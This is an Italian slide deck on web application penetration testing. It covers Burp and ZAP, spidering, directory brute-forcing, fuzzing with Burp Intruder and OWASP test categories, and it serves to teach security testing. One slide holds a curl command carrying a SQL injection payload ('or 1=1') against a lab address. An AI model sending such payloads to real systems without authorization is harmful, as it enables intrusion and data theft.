| Local Network Protocol | Network Level
+---------------------------+
Protocol Relationships
https://tools.ietf.org/html/rfc793
25. I ferri del mestiere
• Una macchina virtuale di attacco
• Sistema operativo normalmente linux (e.g. kali)
• Una serie di strumenti (e.g. scanner, script)
• Browser che possono essere arricchiti da add-on
• Proxy (e.g. burp e zap)
• Una serie di machine virtuali come bersaglio
• Diversi documenti e link cui fare riferimento come checklist e spunti per ulteriori
attacchi
Sul mercato sono presenti una serie di strumenti “fire & forget” che da un lato
sono “veloci” ma dall’altro creano molto rumore e trovano spesso solo le cose più
semplici.
26. Incerception proxy
• Quando si eseguono degli attacchi alle applicazioni web si usa spesso un
proxy che intercetta le richieste tra noi (normalmente il nostro browser) e il
bersaglio.
• Ci è quindi possibile vedere, bloccare, modificare e memorizzare tutto
quello che accade tra noi e il bersaglio.
• Esistono molti modi di intercettare il traffico, ma in generale usare strumenti
come burp e zap permettono di gestire in maniera agevole anche il traffico
HTTPS – altrimenti non facilmente visibile e manipolabile.
Browser Proxy Bersaglio
27. Browser
• E’ uno degli strumenti principali
quando facciamo questo tipo di
attività
• Di norma non esiste un browser
migliore per fare i test. Oltre alle
preferenze personali bisogna
valutare almeno:
• Cosa è supportato dal bersaglio
• Eventuali filtri del browser (anti XSS)
• Funzionalità/Plugin disponibili
• E' tipico l'utilizzo di Firefox con
diversi add-on tra cui Firebug,
HackBar, Tamper Data, Live HTTP
Headers…
46. Si fa quindi una visita "manuale" di tutto il
bersaglio dal browser
• Partendo di solito da una
prospettiva "black-box"
si naviga il sito
direttamente da browser
su tutto il sito
• In questo modo su Burp
compare la sitemap il più
completa possibile
• Si ripete poi anche coi
vari profili da autenticati
47. La prima cosa da fare è definire l'ambito
• Si configura il browser
per lavorare con Burp
• Si fa una richiesta dal
browser al bersaglio
• Si aggiunge allo scope
• C'è anche l'opzione per
evitare che Burp (e noi di
consegnenza) si colleghi
al di fuori dall'ambito
48. Si fa quindi una visita "automatica" di tutto il
bersaglio tramite lo spider/crawler
• Una volta ottenuta la mappa su
quanto è "visibile" da un
utente che clicca normalmente
visitando il sito si procede con
un approccio più automatico
• Dal tab "Spider" si può
configurare lo strumento*
• Dal tab "Scope" click destro
"spider this host"
• Quindi dal tab "Spider" e
"Control" si verifica come
procede
49. Si possono fare quindi delle ricerche
cercando di indovinare i file
• Oltre a cercare i riferimenti dalle pagine presenti è possibile:
• Fare brute-force di file o directory (il risultato dipende dalla wordlist):
• /usr/share/seclists/Discovery/Web_Content/
• Utilizzare l’intuito sui nomi delle pagine potenzialmente presenti da quelle
presenti, particolarmente intuitivo quando sono presenti delle API (e.g.
/user/add /user/edit)
• Strumenti:
• ZAP (DirBuster)
• gobuster
50. Il robots.txt
• Per migliorare il rapporto tra crawler/spider e siti web è spesso presente sui
siti esposti su internet, nella webroot il file robots.txt (accessibile da non
autenticati) che descrive come dovrebbero comportarsi tali strumenti:
• User-Agent: specifica lo user agent a cui si applica la direttiva
• Crawl-Delay: specifica il ritardo tra le varie richieste (potenziale informazione per
poter eseguire dei DoS)
• Allow: permette l’indicizzazione
• Deny: nega l’indicizzazione (ma allo stesso tempo espone l’URL)
• Sitemap: nell’ottica di favorire l’indicizzazione una lista in XML (grazie a Google) per
avere la lista «ufficiale» delle pagine del sito. Solitamente generata automaticamente
potrebbe avere comunque contenuti interessanti.
51. Si procede quindi analizzando le varie pagine sia
nei loro header che nel contenuto e la loro
struttura
• Anzitutto capiamo
come è fatto il sito e le
funzionalità (sitemap)
• Tramite il form di
ricerca e a mano
cerchiamo elementi
interessanti (e.g.
header, commenti)
• Cerchiamo ulteriori
pagine ed elementi
interessanti nel codice
js e css
52. Prendiamo gli appunti
• Il prendere appunti è un
elemento piuttosto personale
• C'è chi usa il blocco note (e.g.
markdown), keepnote e chi
direttamente uno pseudo report.
• Burp ha una funzionalità interna
per gli appunti molto utile per
prendere note e evidenziare gli
elementi che riteniamo
interessanti.
54. Trovati gli elementi interessanti possiamo
andarci a lavorare
• Quando abbiamo trovato le
varie informazioni e
vogliamo lavorare sulla
Parameter Manipulation
(magari ci siamo tenuti gli
appunti a riguardo)
possiamo usare il Repeater
• Prendiamo la richiesta >
click destro > send to
repeater
55. Il repeater
• E' il nostro "tavolo di lavoro"
manuale
• Cominciamo ripetendo
anzitutto la richiesta
(abbiamo un happy case di
quando la pagina funziona)
• Possiamo quindi modificare
la nostra richiesta per capire
se c'è qualche vulnerabilità
56. Lavorare nel repeater
• E' il nostro "tavolo di lavoro"
manuale
• Cominciamo ripetendo
anzitutto la richiesta
(abbiamo un happy case di
quando la pagina funziona)
• Possiamo quindi modificare
la nostra richiesta per capire
se c'è qualche vulnerabilità
57. Encoding e modifica delle richieste
• Dopo aver trovato
diversi probe possiamo
capire se c'è qualche
vulnerabilità
• Ricordiamoci che Burp
non fa encoding di alcun
tipo, in caso dobbiamo
aggiungerlo a mano (o
usando il decoder)
• Possiamo quindi fare la
richiesta nel Browser
(click destro > send
request in browser)
58. Salvare le informazioni dal repeater
• Possiamo quindi fare il "save as curl
command" per poter avere la nostra
commandline per fare proof of concept o
semplicemente per prendere nota
• Oppure fare "send request in browser" per
poter prendere uno screenshot più
comprensibile (e.g. per le XSS)
• Andiamo poi a sistemare la nota sul Proxy e il
relativo highlight così da procedere con
ordine.
curl -i -s -k -X $'GET'
-H $'Host: 192.168.149.195'
-H $'Accept-Encoding: gzip,
deflate' -H $'Accept: */*' -H
$'Accept-Language: en' -H
$'User-Agent: Mozilla/5.0
(compatible; MSIE 9.0; Windows
NT 6.1; Win64; x64;
Trident/5.0)' -H $'Connection:
close' -H $'Referer:
http://192.168.149.195/'
$'http://192.168.149.195/sqli/ex
ample1.php?name=root'%20or%20'
1'='1'
59. Quando la mano non basta… Fuzzing!
• Il Fuzzing è il processo di invio di dati casuali o
pseudo-casuali, attraverso diversi input verso
un bersaglio, normalmente un applicazione
• Una volta che l’input è stato inviato, si analizzano i
risultati e lo status dell’applicazione per determinare
i comportamenti dell’applicazione
• E’ importante definire una baseline di
comportamento normale dell’applicazione per
capire quando ci sono anomalie come ad esempio
• Status HTTP
• Messaggi
• Dimensioni
• Il fuzzing di un applicazione web potrebbe essere più
efficace se fatto osservando i log
60. Fuzzing - FuzzDB
• Quando usiamo il fuzzing (non casuale) è utile avere delle stringhe per poter
ottimizzare il fuzzing che può essere anche molto lungo:
• Di norma sono necessarie molte richieste
• Durante il fuzzing le applicazioni possono richiedere più tempo per rispondere o
andare in blocco e quindi essere riavviate.
• FuzzDB è un progetto che fornisce le stringhe di attacco, come input del
fuzzing:
• https://github.com/fuzzdb-project/fuzzdb
61. Fuzzing - Burp Intruder
• Burp Intruder è un fuzzer all’interno della suite Burp
• Le richieste vengono inviate dagli altri strumenti all’interno della suite
• «Send to Intruder»
• All’interno dell’Intruder si possono scegliere diverse tipologie di attacco da
eseguire
• Sniper (cecchino) – più parametri, stesso payload, uno alla volta
• Battering Ram (ariete) – più parametri, stesso payload, tutto insieme
• Pitchfork (forca) – più parametri, più payload (e.g. user-password)
• Cluster Bomb (bomba a grappolo) – più parametri, più payload, tutte le combinazioni
Tutorial : https://nitstorm.github.io/blog/burp-suite-intruder-attack-types/
62. Utilizzare l'intruder
• L'intruder è altamente
configurabile.
• Target: indirizzo IP su cui
fare l'attacco
• Positions: aggiungere le
varie sezioni (§) in cui deve
essere inserito il payload
63. I payload dell'intruder
• Nella parte payload è
possibile specificare il tipo
di payload (lista, iteratori…)
secondo quello che ci serve
• Eventuali elaborazioni (e.g.
aggiunta di suffissi)
• Ulteriori encoding.
64. Le opzioni dell'intruder
• Le opzioni ci
permettono di
personalizzare la
tabella di output
dell'intruder
evidenziando la
presenza di parola
(e.g. success)
• Oppure estraendo
tramite regex delle
porzioni della
risposta.
65. Lanciare l'attacco e altre note
• Finita la nostra configurazione
possiamo tornare
• Quando lanciamo un fuzzer, in
particolare su un applicazione web
è importante avere delle buone
liste (che è sempre utile
personalizzare)
• Una buon punto di partenza è
https://github.com/danielmiessler/
SecLists dove è presente anche una
cartella con payload di fuzzing
66. Quali vulnerabilità trovare
• Quando abbiamo un input (parametro, verb, cookie…) possiamo
manipolarlo/fuzzarlo e - capendo come viene usato all'interno dell'applicazione
trovare qualche vulnerabilità:
• Utilizzato nella risposta HTTP/HTML/JS/CSS: XSS, HTTP Verb Tampering/Parameter Pollution
• All'interno di un interprete o delle API: Injection (SQL, NOSQL, LDAP, XML, XXE LDAP, ORM,
Xpath, Xquerym SSI, Code, Command, LFI, RFI, BO…)
• Qui la lista (abbastanza) completa
https://www.owasp.org/index.php/Testing_for_Input_Validation
• Alcune note:
• XSS - https://www.slideshare.net/simone.onofri/hackers-vs-developers-cross-site-scripting-
xss-attacco-e-difesa
• SQLI - https://www.slideshare.net/simone.onofri/hackers-vs-developers-sql-injection-
attacco-e-difesa
• ORM - https://www.slideshare.net/simone.onofri/orm-injection
68. Non è solo Input Validation!
• Al netto della parte di input validation sono presenti ulteriori
categorie di vulnerabilità elencate nella Testing Guide.
• Possono essere meno divertenti da trovare - e magari l'impatto non è
critico come una RCE ma in un WAPT si cercano comunque (e in
alcuni - rari - casi sono le uniche che riusciamo a trovare perché
l'applicazione è scritta bene da questi punti di vista).
69. Problemi nell'identificazione
• Test Role Definitions (OTG-IDENT-001)
• Test User Registration Process (OTG-IDENT-002)
• Test Account Provisioning Process (OTG-IDENT-003)
• Testing for Account Enumeration and Guessable User Account (OTG-IDENT-
004)
• Testing for Weak or unenforced username policy (OTG-IDENT-005)
70. Problemi sull'autenticazione
• Testing for Credentials Transported over an Encrypted
Channel (OTG-AUTHN-001)
• Testing for default credentials (OTG-AUTHN-002)
• Testing for Weak lock out mechanism (OTG-AUTHN-003)
• Testing for bypassing authentication schema (OTG-AUTHN-
004)
• Test remember password functionality (OTG-AUTHN-005)
• Testing for Browser cache weakness (OTG-AUTHN-006)
• Testing for Weak password policy (OTG-AUTHN-007)
• Testing for Weak security question/answer (OTG-AUTHN-008)
• Testing for weak password change or reset functionalities
(OTG-AUTHN-009)
• Testing for Weaker authentication in alternative channel
(OTG-AUTHN-010)
71. Problemi sull'autorizzazione
• Testing Directory traversal/file include
(OTG-AUTHZ-001)
• Testing for bypassing authorization
schema (OTG-AUTHZ-002)
• Testing for Privilege Escalation (OTG-
AUTHZ-003)
• Testing for Insecure Direct Object
References (OTG-AUTHZ-004)
72. Problemi di sessione
• Testing for Bypassing Session Management Schema (OTG-SESS-001)
• Testing for Cookies attributes (OTG-SESS-002)
• Testing for Session Fixation (OTG-SESS-003)
• Testing for Exposed Session Variables (OTG-SESS-004)
• Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)
• Testing for logout functionality (OTG-SESS-006)
• Test Session Timeout (OTG-SESS-007)
• Testing for Session puzzling (OTG-SESS-008)
73. Ulteriori Problemi
• Gestione degli errori
• Crittografia
• Business Logic
• Questioni lato cliente (CSS Injection, CORS)
• Configurazione dell'applicazione e del web server